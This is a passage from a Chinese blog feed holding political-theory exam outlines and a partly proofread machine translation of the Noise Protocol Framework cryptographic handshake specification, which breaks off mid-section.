title="马原背诵提纲版"></a>马原背诵提纲版</h1><ul><li>简述马克思主义基本原理</li><li>简述马克思主义的当代价值</li><li>马克思主义的特征有哪些</li><li>物质是客观实在的哲学范畴,这一理论的意义有哪些</li><li>描述意识的作用</li><li>人的主观能动性发挥的前提和条件是</li><li>简述事物的普遍联系</li><li>为什么新事物是不可战胜的?</li><li>唯物辩证法的基本规律有?</li><li>简述矛盾的特殊性和普遍性及其方法论的意义</li><li>简述辩证的否定及其方法论的意义是什么?</li><li>实践的基本特征</li><li>认识的本质是什么</li><li>简述实践和认识的关系</li><li>简述感性知识和理性知识的辩证关系</li><li>如何理解实践是检验真理的唯一标准</li><li>如何理解理论创新和实践创新的关系</li><li>社会历史观的基本问题是?</li><li>如何理解社会存在和社会意识的关系?</li><li>如何理解社会意识的相对独立性?</li><li>如何理解国体和政体的关系?</li><li>如何理解人们的历史选择性</li><li>如何理解社会基本矛盾在历史发展中的作用?</li><li>如何理解社会主要矛盾在历史发展中的作用?</li><li>唯物史观是如何考查谁是历史的创造者这一问题的?</li><li>如何理解人民群众是历史的创造者?</li><li>党的群众观点和群众路线是什么?</li><li>如何理解抽象劳动和具体劳动?</li><li>货币的基本职能有哪些?</li><li>价值规律的内容、表现形式、作用?</li><li>如何理解私有制商品经济的基本矛盾?</li><li>劳动力的价值包括?</li><li>如何理解资本主义生产过程的二重性?</li><li>如何计算m’?</li><li>简述资本在资本循环周转中执行的功能</li><li>简述产业资本的连续循环</li><li>社会再生产的核心问题是什么?</li></ul><h2 id="错题"><a href="#错题" class="headerlink" title="错题"></a>错题</h2><p>认识的主体和客体之间最基本的关系是改造与被改造的实践关系<br>生产力系统中的渗透性因素是基础科学、技术科学、应用科学<br>在阶级社会中,社会革命最深刻的根源是生产力和生产关系的矛盾<br>在阶级社会中,社会发展的直接动力是统治阶级与被统治阶级的矛盾和斗争<br>上层建筑反作用的性质取决于他所服务的经济基础是否促进生产力的发展</p><h1 id="毛概背诵提纲版"><a href="#毛概背诵提纲版" class="headerlink" title="毛概背诵提纲版"></a>毛概背诵提纲版</h1><ul><li>马克思主义中国化的实质是什么?</li><li>毛泽东思想活的灵魂是什么?</li><li>简述毛泽东思想的历史地位</li><li>新民主主义革命理论形成的依据有哪些?</li><li>简述新民主主义革命的三大法宝</li><li>简述新民主主义的社会性质</li><li>简述新民主主义革命的动力</li><li>如何进行资本主义工商业的社会改造?</li><li><strong>确立社会主义基本制度的意义</strong></li><li>论十大方针的地位?</li><li><strong>毛泽东走工业化道路的思想内容、具体思路?</strong></li><li>邓小平理论的形成条件 </li><li>邓小平理论的主要内容 10</li><li>邓小平理论活的灵魂是什么?</li><li>邓小平理论的历史地位</li><li><strong>社会主义市场经济的内容</strong></li><li><strong>社会主义本质理论的内容</strong></li><li>三个代表重要思想的形成条件(通用答法:环境 历史 实践)</li><li>三个代表重要思想啥时候被写入的党章?</li><li>三个代表重要思想的核心观点</li><li>简述科学发展观的科学内涵</li><li>科学发展观的形成条件</li><li>简述构建社会主义和谐社会的总要求 6</li><li>啥时候说主要矛盾是人民日益增长的物质文化需求同落后的社会生产之间的矛盾?</li><li>啥时候说主要矛盾是人民日益增长的美好生活需求同不平衡不充分的发展之间的矛盾?</li><li>什么是一变二不变?</li><li>新时代的内涵是什么、意义是什么?</li><li><strong>习近平新时代中国特色社会主义的核心内容</strong></li><li><strong>习近平新时代中国特色社会主义的基本方略</strong></li><li>简述中国梦的科学内涵 4</li><li><strong>实现中国梦的途径</strong></li><li>简述五位一体总体布局</li><li>阐述建设现代化经济体系的主要任务 6</li><li>阐述深化供给侧结构性改革</li><li>健全人民当家做主自主体系的内容 5</li><li>如何巩固和发展爱国主义统一战线? 4</li><li>如何坚持和发展中保障和改善民主社会主义 3</li><li>如何理解社会主义价值体系的基本内容</li><li>坚持一国两制的前提是?</li><li><strong>如何坚持人与自然和谐共生</strong></li><li><strong>形成人与自然和谐发展新格局/形成人与自然和谐发展的途径</strong></li><li><strong>加快生态文明体制改革</strong></li><li><strong>五大发展理念的科学内涵?</strong></li><li>什么是四个全面战略布局?</li><li>依法治国理念的发展过程?</li><li>阐述中国特色社会主义法治道路 6</li><li><strong>全面深化改革的总目标是?</strong></li><li><strong>全面深化改革的主要内容?</strong></li><li><strong>全面深化改革的意义?</strong> (环境 现在 未来)</li><li><strong>全面深化改革的要求/实现途径?</strong> (领导、三个方向)</li><li>习近平强军思想的主要内容</li><li>党对人民军队绝对领导的制度</li><li>构建人类命运共同体思想内涵与核心</li><li>阐述坚持独立自主和平外交政策</li><li><strong>如何推动建立新型国际关系?</strong></li><li>什么是中国特色社会主义最本质特征?为什么?</li></ul>]]></content>
<summary type="html">
<p><strong><em>加粗为记忆目录,其他为选择题要点或记忆内容</em></strong><br><strong><em>红字为掌握,即大题分析题,如根据XX分析中国特色社会主义的XX</em></strong></p>
<h1 id="毛泽东思想和中国特色社会主义理论
</summary>
</entry>
<entry>
<title>Noise Protocol Framework中文文档</title>
<link href="https://iwannatobehappy.github.io/2019/11/30/Noise-Protocol-Framework%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3/"/>
<id>https://iwannatobehappy.github.io/2019/11/30/Noise-Protocol-Framework%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3/</id>
<published>2019-11-30T07:59:53.000Z</published>
<updated>2019-11-30T11:58:38.038Z</updated>
<content type="html"><![CDATA[<p><a href="http://www.noiseprotocol.org/noise.html" target="_blank" rel="noopener">http://www.noiseprotocol.org/noise.html</a></p><p>谷歌翻译,肉眼校验尚未完成</p><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p> Noise是基于Diffie-Hellman密钥协议的加密协议的框架。 Noise可能描述了包含单个消息的协议以及交互协议。</p><h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><h2 id="术语"><a href="#术语" class="headerlink" title="术语"></a>术语</h2><p> Noise协议始于两方交换<strong>握手消息</strong>。在此<strong>握手阶段</strong>,双方会交换DH公钥并执行一系列DH操作,将DH结果散列为共享密钥。在握手阶段之后,各方都可以使用此共享密钥来发送加密的<strong>传输消息</strong>。</p><p> Noise框架支持握手,其中每个参与方都有一个长期的<strong>静态密钥对</strong>和/或<strong>临时密钥对</strong>。Noise握手由一种简单的语言描述。该语言由<strong>令牌</strong>组成,令牌被安排为<strong>消息模式</strong>。消息模式被安排为<strong>握手模式</strong>。</p><p> <strong>消息模式</strong>是一系列令牌,这些令牌指定了包含握手消息的DH公共密钥以及在发送或接收该消息时执行的DH操作。<strong>握手模式</strong>指定顺序交换组成握手的消息。</p><p> 握手模式可以通过<strong>DH函数</strong>,<strong>密码函数</strong>和<strong>哈希函数</strong>实例化以给出具体的<strong>Noise协议</strong>。</p><h2 id="握手状态机概述"><a href="#握手状态机概述" class="headerlink" title="握手状态机概述"></a>握手状态机概述</h2><p> Noise的核心是在握手过程中各方维护的一组变量,以及通过顺序处理消息模式中的令牌来发送和接收握手消息的规则。</p><p> 各方维护以下变量:</p><p> s, e: 本地用户的静态和临时密钥对(可能为空)。</p><p> rs, re: 远程方的静态和临时公共密钥(可能为空)。</p><p> h: 一个<strong>握手哈希值</strong>,该值散列已发送和接收的所有握手数据。</p><p> ck:散列所有先前DH输出的<strong>链接密钥</strong>。 一旦握手完成,链接密钥将用于导出传输消息的加密密钥。</p><p> k, n: 加密密钥k(可以为空)和基于计数器的随机数n。 每当新的DH输出导致要计算新的ck时,也会计算新的k。 密钥k和随机数n用于加密静态公共密钥和握手有效负载。 用k加密使用某种<strong>AEAD</strong>密码模式(在Rogaway [1]的意义上),并使用当前的h值作为AEAD身份验证涵盖的<strong>关联数据</strong>。 静态公共密钥和有效负载的加密在握手阶段提供了一些机密性和密钥确认。</p><p> 握手消息由一些DH公共密钥和有效载荷组成。 <strong>有效负载</strong>可能包含证书或应用程序选择的其他数据。 为了发送握手消息,发送方指定有效负载并按消息模式顺序处理每个令牌。 可能的标记为:</p><p> “e”:发送方生成一个新的临时密钥对,并将其存储在e变量中,将临时公共密钥作为明文写入消息缓冲区,并将该公共密钥与旧的h一起哈希以得出新的h。</p><p> “s”: 发送者将其s变量的静态公钥写入消息缓冲区,如果k为非空,则对其进行加密,然后将输出与旧的h一起哈希处理以得出新的h。</p><p> “ee”, “se”, “es”, “ss”: 在发起者的密钥对(由第一字母确定是静态还是短暂的)和响应者的密钥对(由第二个字母决定是静态还是临时的)之间进行DH。 将结果与旧ck一起进行哈希处理以得出新的ck和k,并且n设置为零。</p><p> 在握手消息中处理了最终令牌之后,发送方将有效负载写入消息缓冲区,如果k为非空,则对其进行加密,然后将输出与旧的h一起哈希处理以得出新的h。</p><p> 举一个简单的例子,握手模式描述了未经身份验证的DH握手:</p><pre><code> -> e <- e, ee**发起方**发送第一条消息,它只是一个短暂的公共密钥。 **响应者**发回自己的临时公共密钥。 然后执行DH,并将输出散列到共享密钥中。</code></pre><p> 请注意,在明文短暂的公共密钥之后,在第一条消息中发送明文有效载荷,在明文短暂的公共密钥之后,在响应消息中发送加密的有效载荷。 应用程序可以发送所需的任何有效负载。</p><p> 响应者可以发送其静态公钥(经过加密),并通过略有不同的模式进行身份验证:</p><pre><code> -> e <- e, ee, s, es在这种情况下,最终的ck和k值是两个DH结果的哈希值。 由于es令牌指示发起者的临时密钥与响应者的静态密钥之间的DH,因此,发起者对第二条消息的有效负载进行的成功解密可用于向发起者认证响应者。</code></pre><p> 请注意,第二条消息的有效负载可能包含零长度的明文,但是有效负载密文仍将包含身份验证数据(例如身份验证标签或“合成IV”),因为加密是通过AEAD模式进行的。 第二条消息的有效负载也可以用于为响应者的静态公钥传递证书。</p><p> 启动器可以使用握手模式和一条附加消息来发送其静态公共密钥(经过加密)并进行身份验证:</p><pre><code> -> e <- e, ee, s, es -> s, se以下各节充实了细节,并增加了一些复杂性。 但是,Noise的核心是这种简单的变量,令牌和处理规则系统,可以简洁表达一系列协议。</code></pre><h1 id="消息格式"><a href="#消息格式" class="headerlink" title="消息格式"></a>消息格式</h1><p> 所有Noise消息的长度均小于或等于65535字节。 限制消息大小有几个优点:</p><p> 测试更简单,因为可以轻松测试最大尺寸。</p><p> 减少内存处理错误或整数溢出的可能性。</p><p> 支持大型数据流的流解密和随机访问解密。</p><p> 使封装Noise消息的高层协议能够使用16位的有效标准长度字段。</p><p> 由于没有类型或长度字段,因此无需分析即可处理所有Noise消息。 当然,Noise消息可能封装在包含类型和长度信息的更高级别的协议中。 Noise消息可能封装了需要某种形式解析的有效载荷,但是有效载荷是由应用程序而不是由Noise处理的。</p><p> Noise传输消息只是一个AEAD密文,其长度小于或等于65535字节,并且由加密的有效负载和16字节的身份验证数据组成。 细节取决于AEAD密码功能,例如 AES256-GCM或ChaCha20-Poly1305,但通常,身份验证数据是附加在密文中的16字节身份验证标签,或者是附加在密文中的16字节合成IV。</p><p> Noise握手消息也小于或等于65535字节。 它以一个或多个DH公共密钥的序列开始,这取决于其消息模式。 在公共密钥之后将是单个有效载荷,该有效载荷可用于传送证书或其他握手数据,但也可以包含零长度的明文。</p><p> 如果静态公钥和有效载荷是在DH操作之前通过握手发送的,则将以明文形式显示;如果它们在DH操作之后发生,则将是AEAD密文。 (如果将Noise与预共享的对称密钥一起使用,则此规则有所不同;请参见第9节)。 与传输消息一样,AEAD密文会将每个加密字段(无论是静态公共密钥还是有效负载)扩展16个字节。</p><p> 例如,考虑握手模式:</p><p> -> e<br> <- e, ee, s, es<br> -> s, se<br> 第一条消息包含一个明文公共密钥(“ e”),后跟一个明文有效负载(请记住,有效负载在每个消息模式的末尾都是隐式的)。 第二条消息由明文公共密钥(“ e”),加密的公共密钥(“ s”)和加密的有效负载组成。 第三条消息由加密的公共密钥(“ s”)和加密的有效负载组成。</p><p> 假设每个有效载荷包含零长度的纯文本,并且DH公共密钥为56个字节,则消息大小为:</p><pre><code>1. 56个字节(一个明文公共密钥和一个明文有效负载)2. 144个字节(两个公用密钥,第二个加密,以及加密的有效负载)3. 88字节(一个加密的公共密钥和加密的有效负载)</code></pre><h1 id="加密功能"><a href="#加密功能" class="headerlink" title="加密功能"></a>加密功能</h1><p> Noise协议由DH函数,密码函数和哈希函数的具体集合实例化。 这些功能的签名定义如下。 第12节中定义了一些具体功能。</p><p> 在算法伪代码中将使用以下表示法:</p><ul><li>|| 运算符连接字节序列。</li><li>byte()函数构造一个字节。</li></ul><h2 id="DH-functions"><a href="#DH-functions" class="headerlink" title="DH functions"></a>DH functions</h2><p> Noise取决于以下DH函数(以及相关的常数):</p><ul><li><p><strong>GENERATE_KEYPAIR()</strong>:生成一个新的Diffie-Hellman密钥对。 DH密钥对由public_key和private_key元素组成。 public_key表示将DH公钥编码为长度为DHLEN的字节序列。 public_key编码详细信息特定于每组DH函数。</p></li><li><p><strong>DH(key_pair,public_key)</strong>:在key_pair中的私钥和public_key之间执行Diffie-Hellman计算,并返回长度为DHLEN的字节输出序列。为了安全起见,任何实际的密码分析对手都无法解决基于此功能的Gap-DH问题[2]。</p><p>public_key编码某个值,该值是大型素数组中的生成器(该值可能具有多个等效编码),或者是无效值。实现必须通过返回纯粹是公钥的函数且不依赖于私钥的某些输出,或者通过向调用者发送错误信号,来处理无效的公钥。 DH函数可以定义更具体的规则来处理无效值。</p></li><li><p><strong>DHLEN</strong> =一个常数,指定公用密钥和DH输出的字节大小。出于安全原因,DHLEN必须为32或更大。</p></li></ul><h2 id="Cipher-functions"><a href="#Cipher-functions" class="headerlink" title="Cipher functions"></a>Cipher functions</h2><p>Noise取决于以下密码函数:</p><ul><li><p><strong>ENCRYPT(k,n,ad,plaintext)</strong>:使用32字节的密码密钥k和8字节的无符号整数随机数n加密明文,该密钥对于密钥k必须是唯一的。返回密文。必须使用关联数据广告的“ AEAD”加密模式进行加密(使用[1]中的术语),并返回与明文大小相同的密文,外加16字节的身份验证数据。如果密钥是秘密的,则整个密文必须与随机无区别(请注意,这是一个附加要求,并非所有AEAD方案都必须满足)。</p></li><li><p><strong>DECRYPT(k,n,ad,ciphertext)</strong>:使用32字节的密码密钥k,8字节无符号整数nonce n和关联的数据ad解密密文。除非身份验证失败,否则返回纯文本,在这种情况下,将向调用者发出错误信号。</p></li><li><p><strong>REKEY(k)</strong>:返回一个新的32字节密码密钥,作为k的伪随机函数。如果未为某些密码功能组专门定义此功能,则默认为从ENCRYPT(k,maxnonce,zerolen,zeros)返回前32个字节,其中maxnonce等于264-1,zerolen是零长度字节序列,并且零是由零填充的32个字节的序列。</p></li></ul><h2 id="哈希函数"><a href="#哈希函数" class="headerlink" title="哈希函数"></a>哈希函数</h2><p> Noise取决于以下哈希函数(和关联的常数):</p><ul><li><p><strong>HASH(data)</strong>:使用抗冲突的加密哈希函数对某些任意长度的数据进行哈希处理,并返回HASHLEN字节的输出。</p></li><li><p><strong>HASHLEN</strong> =一个常数,指定哈希输出的大小(以字节为单位)。必须是32或64。</p></li><li><p><strong>BLOCKLEN</strong> =一个常数,指定哈希函数在内部用于划分其输入以进行迭代处理的大小(以字节为单位)。这是将哈希函数与HMAC一起使用所必需的([3]中BLOCKLEN为B)。</p><p>Noise根据上述HASH()函数定义了其他函数:</p></li><li><p><strong>HMAC-HASH(key,data)</strong>:使用HASH()函数应用[3]中的HMAC。下文仅将此函数作为HKDF()的一部分进行调用。</p></li><li><p><strong>HKDF(chaining_key,input_key_material,num_outputs</strong>):接受一个长度为HASHLEN的chaining_key字节序列,以及一个长度为零字节,32字节或DHLEN字节的input_key_material字节序列。返回两个或三个字节序列,每个字节序列的长度为HASHLEN,具体取决于num_outputs是两个还是三个:</p><ul><li><p>设置temp_key = HMAC-HASH(chaining_key,input_key_material)。</p></li><li><p>设置输出1 = HMAC-HASH(temp_key,字节(0x01))。</p></li><li><p>设置output2 = HMAC-HASH(temp_key,output1 ||字节(0x02))。</p></li><li><p>如果num_outputs == 2,则返回该对(输出1,输出2)。</p></li><li><p>设置output3 = HMAC-HASH(temp_key,output2 ||字节(0x03))。</p></li><li><p>返回三元组(输出1,输出2,输出3)。</p><p>请注意,temp_key,output1,output2和output3的长度均为HASHLEN字节。还要注意,HKDF函数只是[4]中的HKDF,其chaining_key为HKDF盐,且长度为零。</p></li></ul></li></ul><h1 id="加工规则"><a href="#加工规则" class="headerlink" title="加工规则"></a>加工规则</h1><p> 为了精确定义处理规则,我们采用面向对象的术语,并提出了三个“对象”,它们封装了状态变量并包含实现处理逻辑的函数。这三个对象以层次结构的形式呈现:每个更高层的对象都包含一个位于其下的对象的实例。从最低层到最高层,对象是:</p><ul><li><p><strong>CipherState</strong>对象包含k和n个变量,用于加密和解密密文。在握手阶段,每个参与方都有一个单独的CipherState,但是在传输阶段,每个参与方都有两个CipherState对象:一个用于发送,一个用于接收。</p></li><li><p><strong>SymmetricState</strong>对象包含一个CipherState以及ck和h变量。之所以这样命名,是因为它封装了Noise使用的所有“对称加密”。在握手阶段,每个参与方都有一个SymmetricState,一旦握手完成,就可以将其删除。</p></li><li><p><strong>HandshakeState</strong>对象包含SymmetricState加上DH变量(s,e,rs,re)和代表握手模式的变量。在握手阶段,每个参与方都有一个HandshakeState,握手完成后即可将其删除。</p></li></ul><p> 要执行Noise协议,请初始化HandshakeState。在初始化期间,您可以为您了解的远程方指定握手模式,任何本地密钥对以及任何公共密钥。在Initialize()之后,您可以在HandshakeState上调用WriteMessage()和ReadMessage()来处理每个握手消息。如果DECRYPT()或DH()函数发出任何错误信号,则握手失败,并且HandshakeState被删除。</p><p> 处理最后的握手消息将返回两个CipherState对象,第一个对象用于加密从发起方到响应方的传输消息,第二个对象用于在另一个方向上的消息。那时,应该删除HandshakeState,但哈希值h除外,该值可以用于握手后通道绑定(请参阅第11.2节)。</p><p> 然后,通过使用零长度关联数据在相关CipherState上调用EncryptWithAd()和DecryptWithAd()对传输消息进行加密和解密。如果DecryptWithAd()因DECRYPT()失败而发出错误信号,则输入消息将被丢弃。应用程序可以选择删除CipherState并在发生此类错误时终止会话,或者可以继续尝试进行通信。如果EncryptWithAd()或DecryptWithAd()由于随机数耗尽而发出错误信号,则应用程序必须删除CipherState并终止会话。</p><p> 以下各节详细介绍了这些对象。</p><h2 id="CipherState"><a href="#CipherState" class="headerlink" title="CipherState"></a>CipherState</h2><p>CipherState可以根据其k和n变量对数据进行加密和解密:</p><ul><li><p><strong>k</strong>:32个字节的密码密钥(可以为空)。空是一个特殊值,它指示k尚未初始化。</p></li><li><p><strong>n</strong>:8字节(64位)无符号整数随机数。</p><p> CipherState响应以下功能。应用于n的++后递增运算符表示“使用当前n值,然后对其进行递增”。 n最大值(264-1)保留供其他使用。如果将n递增导致264-1,则任何进一步的EncryptWithAd()或DecryptWithAd()调用都会向调用者发出错误信号。</p></li><li><p><strong>InitializeKey(key)</strong>:设置k =键。设置n = 0。</p></li><li><p><strong>HasKey()</strong>:如果k为非空,则返回true,否则返回false。</p></li><li><p><strong>SetNonce(nonce)</strong>:设置n =随机数。该功能用于处理无序传输消息,如第11.4节所述。</p></li><li><p><strong>EncryptWithAd(ad,明文)</strong>:如果k为非空,则返回ENCRYPT(k,n ++,ad,明文)。否则返回纯文本。</p></li><li><p><strong>DecryptWithAd(ad,密文)</strong>:如果k为非空,则返回DECRYPT(k,n ++,ad,密文)。否则返回密文。如果DECRYPT()中发生身份验证失败,则n不会递增,并且会向调用方发出错误信号。</p></li><li><p><strong>Rekey()</strong>:设置k = REKEY(k)。</p></li></ul><h2 id="SymmetricState"><a href="#SymmetricState" class="headerlink" title="SymmetricState"></a>SymmetricState</h2><p> SymmetricState对象包含一个CipherState以及以下变量:</p><ul><li><p><strong>ck</strong>:HASHLEN字节的链接密钥。</p></li><li><p><strong>h</strong>:HASHLEN字节的哈希输出。</p></li></ul><p> SymmetricState响应以下功能:</p><ul><li><p><strong>InitializeSymmetric(protocol_name)</strong>:采用任意长度的protocol_name字节序列(请参见第8节)。执行以下步骤:</p><ul><li>如果protocol_name的长度小于或等于HASHLEN字节,则将h设置为等于protocol_name并附加零字节以构成HASHLEN字节。否则设置h = HASH(协议名称)。</li><li>设置ck = h。</li><li>调用InitializeKey(empty)。</li></ul></li><li><p><strong>MixKey(input_key_material)</strong>:执行以下步骤:</p><ul><li><p>设置ck,temp_k = HKDF(ck,input_key_material,2)。</p></li><li><p>如果HASHLEN为64,则将temp_k截断为32个字节。</p></li><li><p>调用InitializeKey(temp_k)。</p></li></ul></li></ul><ul><li><p><strong>MixHash(data)</strong>:设置h = HASH(h || data)。</p></li><li><p><strong>MixKeyAndHash(input_key_material)</strong>:此函数用于处理预共享的对称密钥,如第9节所述。它执行以下步骤:</p><ul><li><p>设置ck,temp_h,temp_k = HKDF(ck,input_key_material,3)。</p></li><li><p>调用MixHash(temp_h)。</p></li><li><p>如果HASHLEN为64,则将temp_k截断为32个字节。</p></li><li><p>调用InitializeKey(temp_k)。</p></li></ul></li><li><p><strong>GetHandshakeHash()</strong>:返回h。该函数仅应在握手结束时调用,即在调用Split()函数之后。该功能用于通道绑定,如第11.2节所述</p></li><li><p><strong>EncryptAndHash(plaintext)</strong>:设置密文= EncryptWithAd(h,纯文本),调用MixHash(密文),然后返回密文。请注意,如果k为空,则EncryptWithAd()调用会将密文设置为等于纯文本。</p></li><li><p><strong>DecryptAndHash(密文)</strong>:设置纯文本= DecryptWithAd(h,密文),调用MixHash(密文),然后返回纯文本。请注意,如果k为空,则DecryptWithAd()调用将设置纯文本等于密文。</p></li><li><p><strong>Split()</strong>:返回一对用于加密传输消息的CipherState对象。执行以下步骤,其中zerolen是零长度的字节序列:</p><ul><li>设置temp_k1,temp_k2 = HKDF(ck,zerolen,2)。</li><li>如果HASHLEN为64,则将temp_k1和temp_k2截断为32个字节。</li><li>创建两个新的CipherState对象c1和c2。</li><li>调用c1.InitializeKey(temp_k1)和c2.InitializeKey(temp_k2)。</li><li>返回对(c1,c2)。</li></ul></li></ul><h2 id="HandshakeState"><a href="#HandshakeState" class="headerlink" title="HandshakeState"></a>HandshakeState</h2><p> HandshakeState对象包含SymmetricState以及以下变量,其中任何一个都可以为空。空是一个特殊值,它指示变量尚未初始化。</p><ul><li><p><strong>s</strong>:本地静态密钥对</p></li><li><p><strong>e</strong>:本地临时密钥对</p></li><li><p><strong>rs</strong>:远程方的静态公钥</p></li><li><p><strong>re</strong>:远程方的临时公钥</p></li></ul><p> HandshakeState还具有变量来跟踪其角色以及握手模式的其余部分:</p><ul><li><p><strong>initator</strong>:指示启动器或响应者角色的布尔值。</p></li><li><p><strong>message_patterns</strong>:一系列消息模式。每个消息模式都是来自集合(“ e”,“ s”,“ ee”,“ es”,“ se”,“ ss”)的令牌序列。 (在第9节中引入了一个额外的“ psk”令牌,但我们将其解释推迟到那时。)</p></li></ul><p>HandshakeState响应以下功能:</p><ul><li><p><strong>Initialize(handshake_pattern,发起方,序言,s,e,rs,re)</strong>:采取有效的handshake_pattern(请参见第7节)和发起方布尔值,指定此方作为发起方或响应方的角色。</p><p>采取序言字节序列,该序言字节序列可以为零长度,或者可以包含双方都希望确认的上下文信息相同(请参见第6节)。</p><p>采用一组DH密钥对(s,e)和公共密钥(rs,re)来初始化局部变量,其中任何一个都可以为空。仅当handshake_pattern使用预消息时才传递公共密钥(请参见第7节)。临时值(e,re)通常保留为空,因为它们是在握手期间创建和交换的。但也有例外(请参阅第10节)。</p><p>执行以下步骤:</p><ul><li><p>如第8节中所述,通过组合握手模式和加密函数的名称来得出协议名称字节序列。调用InitializeSymmetric(protocol_name)。</p></li><li><p>调用MixHash(prologue)。</p></li><li><p>将启动器s,e,rs和re变量设置为相应的参数。</p></li><li><p>对来自handshake_pattern的预消息中列出的每个公钥调用一次MixHash(),并使用指定的公钥作为输入(有关预消息的说明,请参见第7节)。如果发起方和响应方都有预消息,则首先对发起方的公钥进行哈希处理。如果在任一方的预消息中列出了多个公钥,则将按列出的顺序对公钥进行哈希处理。</p></li><li><p>将message_patterns设置为handshake_pattern中的消息模式。</p></li></ul></li><li><p><strong>WriteMessage(payload,message_buffer)</strong>:取一个有效载荷字节序列(长度可以为零),以及一个message_buffer写入输出。执行以下步骤,如果任何EncryptAndHash()调用返回错误,则中止操作:</p><ul><li><p>从message_patterns中获取并删除下一个消息模式,然后依次处理该消息模式中的每个令牌:</p><ul><li><p>对于“ e”:将e(必须为空)设置为GENERATE_KEYPAIR()。将e.public_key追加到缓冲区。调用MixHash(e.public_key)。</p></li><li><p>对于“ s”:将EncryptAndHash(s.public_key)追加到缓冲区。</p></li><li><p>对于“ ee”:调用MixKey(DH(e,re))。</p></li><li><p>对于“ es”:如果启动器则调用MixKey(DH(e,rs)),如果响应器则调用MixKey(DH(s,re))。</p></li><li><p>对于“ se”:如果启动器则调用MixKey(DH(s,re)),如果响应器则调用MixKey(DH(e,rs))。</p></li><li><p>对于“ ss”:调用MixKey(DH(s,rs))。</p></li></ul></li><li><p>将EncryptAndHash(payload)追加到缓冲区。</p></li><li><p>如果没有更多消息模式,则通过调用Split()返回两个新的CipherState对象。</p></li></ul></li><li><p><strong>ReadMessage(message,payload_buffer)</strong>:采取一个字节序列,其中包含一个Noise握手消息,以及一个payload_buffer,用于将消息的纯文本有效负载写入其中。执行以下步骤,如果任何DecryptAndHash()调用返回错误,则中止操作:</p><ul><li><p>从message_patterns中获取并删除下一个消息模式,然后依次处理该消息模式中的每个令牌:</p><ul><li><p>对于“ e”:将re(必须为空)设置为消息中的下一个DHLEN字节。调用MixHash(re.public_key)。</p></li><li><p>对于“ s”:如果HasKey()== True,则将temp设置为消息的下一个DHLEN + 16字节,否则将temp设置为下一个DHLEN字节。将rs(必须为空)设置为DecryptAndHash(temp)。</p></li><li><p>对于“ ee”:调用MixKey(DH(e,re))。</p></li><li><p>对于“ es”:如果启动器则调用MixKey(DH(e,rs)),如果响应器则调用MixKey(DH(s,re))。</p></li><li><p>对于“ se”:如果启动器则调用MixKey(DH(s,re)),如果响应器则调用MixKey(DH(e,rs))。</p></li><li><p>对于“ ss”:调用MixKey(DH(s,rs))。</p></li></ul></li><li><p>在消息的其余字节上调用DecryptAndHash()并将输出存储到payload_buffer。</p></li><li><p>如果没有更多消息模式,则通过调用Split()返回两个新的CipherState对象。</p></li></ul></li></ul><h1 id="序言"><a href="#序言" class="headerlink" title="序言"></a>序言</h1><p> Noise协议具有<strong>序言</strong>输入,该序言输入允许将任意数据散列到h变量中。 如果双方未提供相同的序言数据,则握手将由于解密错误而失败。 当双方在握手之前进行协商并希望确保他们对协商具有相同的看法时,这很有用。</p><p> 例如,假设鲍勃向爱丽丝传达了他愿意支持的Noise协议列表。 然后,Alice将选择并执行一个协议。 为了确保“中间人”不会编辑Bob的列表以删除选项,Alice和Bob可以将该列表作为序言数据。</p><p> 请注意,当事方确认其序言相同时,他们不会将序言数据混入加密密钥中。 如果输入包含旨在加强加密的机密数据,则应改用PSK握手(请参阅第9节)。</p><h1 id="Handshake-patterns"><a href="#Handshake-patterns" class="headerlink" title="Handshake patterns"></a>Handshake patterns</h1><h2 id="Handshake-pattern-basics"><a href="#Handshake-pattern-basics" class="headerlink" title="Handshake pattern basics"></a>Handshake pattern basics</h2><p> <strong>消息模式</strong>是来自集合的一些令牌序列(“ e”,“ s”,“ ee”,“ es”,“ se”,“ ss”,“ psk”)。前面已经描述了WriteMessage()和ReadMessage()中这些标记的处理,除了“ psk”标记外,这将在第9节中介绍。将来的规范可能会引入其他标记。</p><p> <strong>消息前模式</strong>是以下令牌序列之一:</p><ul><li><p>“ e”</p></li><li><p>“ s”</p></li><li><p>“ e,s”</p></li><li><p>empty</p><p> 握手模式包括:</p></li><li><p>启动器的消息前模式,表示响应者已知的有关启动器公钥的信息。</p></li><li><p>响应者的消息前模式,表示发起者已知的有关响应者公钥的信息。</p></li><li><p>实际握手消息的消息模式序列。</p><p> 预消息表示在握手之前以某种方式执行的公共密钥的交换,因此必须将这些公共密钥输入到Initialize()中,以作为预消息的“收件人”。</p><p> 第一个实际的握手消息从发起方发送到响应方。下一条消息从响应者发送,下一条消息从发起者发送,依此类推。</p><p> 以下握手模式描述了一个未经身份验证的DH握手,它由两个消息模式组成:</p></li></ul><p>NN:<br> -> e<br> <-e,ee</p><p> 在以下握手模式中,发起者和响应者均具有静态密钥对,并且握手模式包括三个消息模式:</p><p>XX:<br> -> e<br> <-e,ee,s,es<br> -> s,se</p><p> 握手模式名称为NN和XX。该命名约定将在7.5节中说明。</p><p> 非空的预消息显示为定界符“ …”之前的预消息模式。如果双方都有预消息,则首先列出发起方,然后首先进行哈希处理。在Initialize()期间,如第5.3节所述,在任何消息前的公钥上调用MixHash()。</p><p> 下面的握手模式描述了一个握手,其中发起方已预先了解了响应者的静态公钥,并将其用于“ zero-RTT”加密:</p><p>NK:<br> <-s<br> …<br> -> e,es<br> <-e,ee<br> 在以下握手模式中,双方都预先了解了对方的静态公钥。发起者的预消息首先列出:</p><p>KK:<br> -> s<br> <- s<br> …<br> -> e,es,ss<br> <-e,ee,se</p><h2 id="Alice-and-Bob"><a href="#Alice-and-Bob" class="headerlink" title="Alice and Bob"></a>Alice and Bob</h2><p> 在前面显示的所有握手模式中,发起方是左侧的一方(使用向右箭头发送),响应方是右侧的一方。</p><p> 但是,在复合协议中可能会使用多个Noise协议,其中一个Noise协议中的响应者成为后来的Noise协议的发起者。为了方便使用这种情况下的术语和表示法,我们介绍了Alice和Bob角色的概念,它们不同于发起者和响应者角色。爱丽丝将被视为左侧的聚会(使用右箭头发送消息),而鲍勃将被视为右侧的聚会。</p><p> 以规范形式(即Alice发起的形式)编写的握手模式假定发起者是Alice(最左边的一方)。到目前为止,所有处理规则和讨论都采用规范形式的握手模式。</p><p> 但是,可以通过反转箭头和DH令牌(例如用“ se”替换“ 